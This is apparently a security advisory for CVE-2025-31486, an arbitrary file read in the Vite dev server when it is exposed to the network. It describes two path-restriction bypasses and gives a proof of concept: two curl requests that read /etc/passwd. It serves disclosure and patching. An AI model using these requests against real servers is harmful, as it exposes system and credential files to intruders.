Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected..

Details

.svg

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

References

• GHSA-xcj6-pq6g-qj4x
• https://nvd.nist.gov/vuln/detail/CVE-2025-31486
• vitejs/vite@62d7e81
• https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290